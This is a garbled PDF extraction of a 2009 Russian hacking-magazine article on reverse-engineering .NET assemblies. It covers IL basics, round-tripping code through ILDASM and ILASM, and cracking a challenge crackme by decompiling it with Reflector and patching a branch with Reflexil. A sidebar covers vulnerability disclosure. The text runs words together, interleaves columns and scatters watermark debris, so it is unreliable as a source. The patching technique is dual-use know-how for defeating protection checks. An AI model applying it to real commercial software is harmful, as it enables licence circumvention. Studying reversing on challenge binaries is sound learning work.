XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
>> взломw Click |
|
BUY |
|
|
|||||||||||
w Click |
to |
|
|
|
|
|
m |
|
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
CRACKME ОТЧАЯННО |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
СОПРОТИВЛЯЕТСЯ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ШИФРУЕМСБОРКУ |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
MicrosoftонноситназваниеMSIL(Microsoft |
имеяподрукойтолькобинарник.Дляэтогосама |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
IntermediateLanguage),апослестандарти- |
Microsoftпредлагаетинструментподназванием |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
зациивсеназываютегопростоCIL(Common |
ILDASM.Названиевыбранонеспроста(надеюсь, |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
IntermediateLanguage)или,ещекруче,—IL. |
тыужедогадался,чтокчему).ILDASMустанав- |
ВОССТАНАВЛИВАЕМБИНАРНИК |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
CLR(CommonLanguageRuntime)отвечаетза |
ливаетсяавтоматическиприустановкеVisual |
ИЗIL-КОДА |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
компиляциюбайт-кодавнативный,обеспечивая Studio,такчто,поверь,онутебяужеесть. |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
еговыполнениенацелевойсистеме.Приэтом |
Запускаемконсольстудии(илипростоподгру- |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
используетсяподходJIT(Just-In-Time),согласно |
жаемпеременныесредыспомощьюскрипта |
вIL,поэтомубудемискатьсредупрограммирова- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
которомукомпиляцияпроизводитсяоперативно |
vsvars32.bat)изапускаемildasm.Открываемнаше |
нияиотладки.Проектовтакихдва:DILEиILIDE#. |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
померенеобходимости. |
приветливоеприложениеиутыкаемсявнечтопо- |
Первый—редактор,позволяющийотлаживать |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Посмотрим,чтопредставляетсобой.NET-при- |
хожеенадиаграммуклассов.Развертываяметод |
исполняемыйкод.Самоесмешное,чтокакразре- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ложениеглазамиОльги.Дляэтогосоздадим |
любогоизклассов,получаемегоIL-код.Скодом |
дактироватьонинеумеет(классноназвали).Второй |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
простенькоеприложениеWindows.Forms,содер- |
мыразберемсянемногопозже,асейчаспрове- |
проектпредставляетсобойполноценнуюсреду |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
жащееоднукнопкуивызывающееMessageBox |
демэксперимент.ВыбираемменюFileÆDump |
программирования.Однакопопыткаимпортиро- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ссообщением«Hello,World»приеенажатии.Не |
исохраняемкодвсегоприложениявтекстовый |
ватькод,полученныйизILDASM,приводиткневоз- |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
правдали,оченьоригинально? |
файлSample1.il.ПослеэтогозапускаемILASM |
можностикомпиляции(класснаяIDE).Вконечном |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Создал?ТогдагрузисборкувОльгуинаслаж- |
(угадайдлячего):ilasmSample1.il.Получаем |
итогевыборпалнасредуSharpDevelop,вкоторой |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
дайсярезультатом.Приложениезагрузилось,ав |
файлснепонятнымрасширениемexe,запускаем |
можносоздаватьпроектысподдержкойIL.Такую |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
окнедизассемблера—пусто.Обиднодосоплей. |
ивидимдоболизнакомуюформу.Переднами |
жеподдержкупредоставляетMonoDevelop,однако |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Точкувходанепоймалиичегодальшеделать— |
простейшийалгоритмпатчингаприложений: |
уменяонработатьотказался,ато,чтонеработает, |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
непонятно.Жмемпаузуипереходимкотладке |
•дизассемблируемкодвIL-язык; |
идетвтопку.НедостаткиSharpDevelop:отсутствует |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
программы.Ставимусловнуюточкуостанована |
•дампимвтекстовыйфайл; |
поддержкаавтодополненияиневозможнаработас |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
TranslateMessageдляперехватанажатийлевой |
•корректируемтекствлюбимойсредепрограм- |
диаграммамиклассов. |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
кнопкимыши(WM_LBUTTONUP:MSG==202). |
мированияaka«Блокнот»; |
Напишемнебольшоеконсольноеприложение, |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Кликаемипогружаемсявтранс—казалосьбы, |
•собираемприложениеизIL-кода. |
напримерекоторогорассмотримосновныеязы- |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
элементарныйвызовMessageBoxзаставляетОльгу |
УЧИММАТЧАСТЬ |
ковыеконструкции.Программабудетскладывать |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
совершатькучудействийинедаетникакогопони- |
двачислаивыводитьихсумму. |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
маниялогикиработыпрограммы.Наверное,невсе |
Итак,IL.Неплохохотябынемногопредставлять, |
Всяпрограммасостоитизнаборадирективи |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
такужиужасно,носейфактзаставляетзадуматься |
какписатьнаIL,скажешьты,ибудешьабсолютно команд.Директивыначинаютсяссимволаточкии |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
оцелесообразностииспользованияклассичес- |
прав.Чтобыразбиратьсявлогикеработы,атем |
реализуютдекларативныефункции: |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
когоотладчикадляработыс.NET-сборками.Итак, |
более,иметьвозможностьееизменять,намнужно |
•.assembly—объявляетопределениеманифеста |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
продолжимпоискновыхдрузей-отладчиков. |
изучитьазыязыка.Этимсейчасизаймемся. |
иуказывает,какойсборкепринадлежиттекущий |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
БРАТЬЯ-БЛИЗНЕЦЫ: |
Дляначалаопределимсясинструментом.«Блокмодуль; |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
нот»—великаявещь,нохотелосьбыиметьпод |
•.method—объявляетметод; |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
ILASM ИILDASM |
рукойсреду,обеспечивающуюкомфортнуюработу •.entrypoint—объявляет,чтоуказанныйметод |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Динамическоекомпилированиеделает |
навсемциклеразработки:подсветкусинтаксиса, |
реализуетточкувходавприложение; |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
процедуруотладкипрактическиневозможной |
автоматическуюкомпиляциюилинковку,отладку. •.maxstack—указываетмаксимальноеколи- |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
длясложныхприложений. Нозачемпытаться |
НапрашиваетсяVisualStudio,аннет,Microsoftне |
чествослотоввстекедляпередачипараметров |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
отлаживатьнативныйкод, когдаможнопод- |
реализуетподдержкуIL.Возможно,естькакие- |
функции; |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
нятьсявышеиработатьнауровнеIL? |
нибудьплагины,номнеихнайтинеудалось. |
•.locals—объявляетлокальныепеременные |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Перваяпроблема—какэтотсамыйкодполучить, |
Побольшомусчету,можнопрограммироватьпрямо |
метода. |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 07 /127/ 09 |
|
055 |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
P |
|
|
|
|
|
NOW! |
o |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
w Click |
to |
|
|
|
|
взлом |
|
w Click |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
ОЛЬГАЯВНОНЕПРИСПОСОБЛЕНАДЛЯ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
АНАЛИЗА.NET-СБОРОК |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
изразделаcrackingвстиле.NET.Ятебепокажунаодномиз |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
них,каквсепростоикрасиво.Изэтическихсоображенийрас- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ИСХОДНЫЙIL-КОД |
крыватьресурсянебуду,ноеслиинтересно,можешьвыяснить |
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
исам,посмотреввнимательновнутрьбинарника. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Приложениеapp14содержитнаформетекстбоксикнопку.В |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Описаниевсехдирективтынайдешьвофициальномдокумен- |
текстбокснужноввестиправильнуюфразу,тогдаобработчик |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
теCommonLanguageInfrastructure(CLI),PartitionII:Metadata |
кнопкивыведеткодовоеслово,котороеиявляетсярешением. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DefinitionandSemanticsнанашемдиске. |
Принеправильнойфразевыводитсякакая-толабуда. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Всялогикаработыприложенияреализуетсяспомощью |
Забылсказать:дляредактированияILоченьудобноиспользо- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
команд.ПолныйихпереченьтыможешьнайтивMSDN(http:// |
ватьутилуRedGate’s.NETReflectorсустановленнымплагином |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
msdn.microsoft.com/en-us/library/system.reflection.emit. |
Reflexil.Утилахорошатем,чтонаосновеILвосстанавливает |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
HTTP://WWW |
opcodes.ldlen.aspx).Учти,чтосимволыподчеркиваниянужно |
коднанекоторыхязыкахвысокогоуровня,включаяшарп. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
заменятьнасимволыточки.ЛюбаяоперациявMSILисполня- |
Реверсингпревращаетсявувлекательноезанятиеанализа |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
links |
|
етсянастеке.Передвызовомкакой-либосмысловойкоманды, исходныхкодов.Итак,загружаемвReflectorнашегоподопыт- |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
например,вызовафункции,встеккладутсяеепараметры.Это |
ногоисмотримсаммарипоклассамиметодам.Видимдва |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Дляописаниякоманд |
оченьпохоженаассемблер,однаковотличиеотраспростра- |
класса—Encryptи,собственно,классформыподназванием |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
IL бегомнаMSDN: |
ненныхконвенцийвызоваstdcallиcdecl,переменныекладутся |
goes.МожновкуриватьвреализациюEncrypt—онане- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
http://msdn. |
втомпорядке,вкоторомониопределенывпрототипефункции. |
сложная,нояпредпочелпосмотреть,чтожепроисходитпри |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
microsoft.com/en- |
Заустановкупеременныхвстекотвечаюткомандысемейства |
нажатиизаветнойкнопки.Обработчикищетсяэлементарно, |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
us/library/system. |
ld…Например,ldlocзагружаетлокальнуюпеременнуюпо |
попрототипуфункции.Онадолжнаприниматьдвапараметра: |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
reflection.emit. |
ееимениилипорядковомуномеру,ldstrпредназначенадля |
первыйтипаobjectивторойтипаEventArgs.Такихфункций |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
opcodes_fields.aspx |
загрузкистроки.Обратнуюоперациюосуществляюткоманды |
всегодвеипоназваниюочевидно,чтонаминтереснафункция |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Интересуютсредства |
st…(store),забирающиезначениесвершиныстекавлокаль- |
vla_Click.ВыбираемпоправойкнопкеменюDisassembleи |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
защиты.NET-при- |
нуюпеременную.Очисткойстеказанимаетсясамавызываемая |
видимчистыйc#! |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
ложений? Тогдатебе |
функция,—послечегонавершинустекаонакладетвозвраща- |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
сюда: |
|
емоезначение.Послеобъявленияпеременных(конструкцияinit() |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
• www.codewall.net |
предназначенадляинициализациипеременныхзначениямипо |
Политика разглашения |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
• www.chilkatsoft. |
умолчанию)производитсявызовфункцииWrite.Дляэтоговстек |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
информации об уязвимости |
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
com/dotNetCrypt.asp |
кладетсястрокассообщением,котороебудетвыведенонаэкран. |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
• www.eziriz.com |
Далееиспользуетсякомандаcall,вызывающаястатическийме- |
Этосоглашениеимеетряднюансов. На- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
• www.xheo.com/ |
тодWriteизклассаSystem.Consoleсборкиmscorlib.Привызове |
пример, хакер, обнаруживуязвимость, ищетконтакты, |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
products/codeveil/ |
указываетсяпрототипфункции,—чтобыкомпилятормогопреде- |
чтобынаправитьсоответствующийзапроспроизво- |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
default.aspx |
лить,какуюизперегрузокиспользовать.Привызовенестатичес- |
дителю. Еслипоистечениипятиднейпроизводитель |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
кихметодовпередпараметрамивстекнужноположитьссылкуна |
отмалчивается, вводитвзаблуждениесвоихпользова- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
экземпляркласса,апривызовепослеcallнужнопоставитьключе- |
телейкакими-тоспособамиилинекорректновступаетв |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
воесловоinstance.Длявызовавиртуальныхметодовприменяй |
диалог, тоемуотправляетсяповторноеписьмо. Выжи- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
callvirt.ДалеевызываетсяфункцияReadLine,истрокапарситсяв |
даютсяещепятьрабочихдней, послечегобаг-хантер |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
число,котороесохраняетсявпервойпеременной.Передвызовом |
вправепомещатьописаниеобагенасобственном |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
функциивыводанаэкранрезультатовпеременныевстекеподвер- |
ресурсеиливпубличныебагтраки. Приэтомвписьме |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
гаютсяпреобразованиювссылочныетипы(обертки)спомощью |
требуетсяоговоритьисогласоватьдатупубликации, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
командыbox32.Остальноедолжнобытьяснобезпояснений.Еще |
чтобыпроизводительуспелвыпуститьобновлениеили |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
одинважныймоментдляреверсера— этоотловветвлений. В |
советыпозащитеотэксплуатации. Важноотметить, что |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
IL ветвлениясоздаютсясиспользованиемсемействакоманд |
еслистороннеетретьелицоопубликовалоданныеоб |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
b… (отbranch). ЗадетализациейбегинаMSDN. |
эксплуатациинайденнойтобойуязвимости, тыможешь |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ПОПРОБУЙСЛОМАЙМЕНЯ |
смелопоститьееподробностибезсогласованияскем- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
либо. Воттакаяарифметика. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Ужечувствуешьсебякрутым?Тогдапорачто-нибудьдаполо- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
мать.Идемналюбойсайтсчеленджамиискачиваемзадание |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
056 |
|
|
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
REFLECTOR ПОКАЗЫВАЕТИСХОДНЫЙКОДНАC#
КодобработчиканажатиякнопкивCrackMe
private void vla_Click( object sender, EventArgs e)
{
int[] numArray = new int[12]; VariantType type = (VariantType)
Conversions.ToInteger(
MyProject.Computer.Registry.GetValue( @"HKEY_CURRENT_USER\valid", "", 0));
decimal num = new decimal(((((double) type) + 1.5) * ((double) type)) + 0.025);
if (this.txt.Text == "somerandomvl")
{
Interaction.MsgBox(RuntimeHelpers.
GetObjectValue(Encrypt.
ParseandDecrypt(Conversions.
ToString(Encrypt.ParseandEncrypt( "ydXX!if not txt is blah youfailed")))), MsgBoxStyle.Exclamation, "585mfg9gf");
}
else
{
Interaction.MsgBox(RuntimeHelpers.
GetObjectValue(Encrypt.ParseandDecrypt( "ydXX!if not txt is blah youfailed")), MsgBoxStyle.Exclamation, "585mfg9gf");
}
if (Convert.ToDouble(num) == (((((double)
type) + 1.5) * ((double) type)) + 0.025))
{
if ((type == VariantType.Empty) | (MyProject.Application.Info.DirectoryPath. Length.ToString().Length == 0x1ca))
{
Interaction.MsgBox("nope", MsgBoxStyle.Information, "sorry");
}
else if ((((this.txt.Text != this.txt. Text) & false) | false) | (type == VariantType. Null))
{
this.txt.Text = Conversions.ToString( Encrypt.ParseandDecrypt(
"fm`{f}kpwrn"));
}
}
}
WARNING |
warning
Наилучшуюзащитусвоихсборокот анализатыполучишь вслучаеисполь-
зованияXenocode PostBuild (http:// www.xenocode.com/ products/postbuild- for-net), позволяющегокомпилировать приложениевнативныйкодсостатическимвключением стороннихсборок.
XÀÊÅÐ 07 /127/ 09 |
057 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|
||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|
|||
w Click |
to |
|
|
|
взлом |
|
|||||
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
SHARPDEVELOP ВДЕЙСТВИИ
|
|
|
|
|
|
|
|
|
|
Выполняетсякучакаких-топроверокисрав- |
|
|
|
|
|
|
|
||
|
IL_00fc: ldstr |
"nope" |
|
VisualBasic.CompilerServices. |
|
|
|||
|
нений,которымнадоудовлетворить.Моеже |
|
IL_0101: ldc.i4.s |
64 |
|
Conversions::ToString(object) |
|
|
|
|
|||||||||
|
вниманиепривлеклапоследняяинструкция |
|
IL_0103: ldstr |
"sorry" |
|
IL_0152: callvirt instance void |
|
|
|
|
this.txt.Text=Conversions.ToString(Encrypt. |
|
IL_0108: call |
valuetype |
|
[System.Windows.Forms]System. |
|
|
|
|
ParseandDecrypt("fm`{f}kpwrn"));. |
|
[Microsoft.VisualBasic]Microsoft. |
|
Windows.Forms.TextBox::set_ |
|
|
||
|
Нуда,приправильномраскладевтекстбокс |
|
VisualBasic.MsgBoxResult |
|
Text(string) |
|
|
||
|
попадаетзначение,представляющеесобойрас- |
|
[Microsoft.VisualBasic] |
|
IL_0157: ret |
|
|
||
|
шифрованнуюстроку«fm`{f}kpwrn».Собственно |
|
Microsoft.VisualBasic. |
|
|
|
|
||
|
|
|
|
|
|
||||
|
алгоритмрасшифровыванияреализуетсяфунк- |
|
Interaction::MsgBox(object, |
|
Влевойпанеликликаемнаназваниебинарника, |
|
|||
|
циейParseandDecryptизклассаEncrypt.Дальше |
|
valuetype [Microsoft.VisualBasic] |
|
затемнажимаемкнопкуSaveasисохраняемего |
|
|||
|
можнолиборазбиратьсявалгоритме(зачем |
|
Microsoft.VisualBasic.MsgBoxStyle, |
|
подименемapp14_patched.Запускаем,вводим |
|
|||
|
ононамнадо?),либоскопироватькодфункциии |
|
object) |
|
|
любуюфразуивтекстбоксеполучаемкодовое |
|
||
|
скомпилироватьсобственныйпроект,либопросто |
|
|
|
|
словоihatethereg!!! |
|
||
|
|
|
|
|
|||||
|
сделатьодинверныйпрыжок. |
|
Меняемbrfalseнаbrtrue,чтобыпрыжоксо- |
|
НАМНЕСТРАШЕН |
|
|||
|
ЗапускаемreflexilизменюToolsивидимIL-код. |
|
вершить,нуачтобыизбежатьпроверкиelseif, |
|
|
||||
|
Нужноидентифицироватьместопоследнегоifи |
|
меняемадресIL_0110наIL_013d. |
|
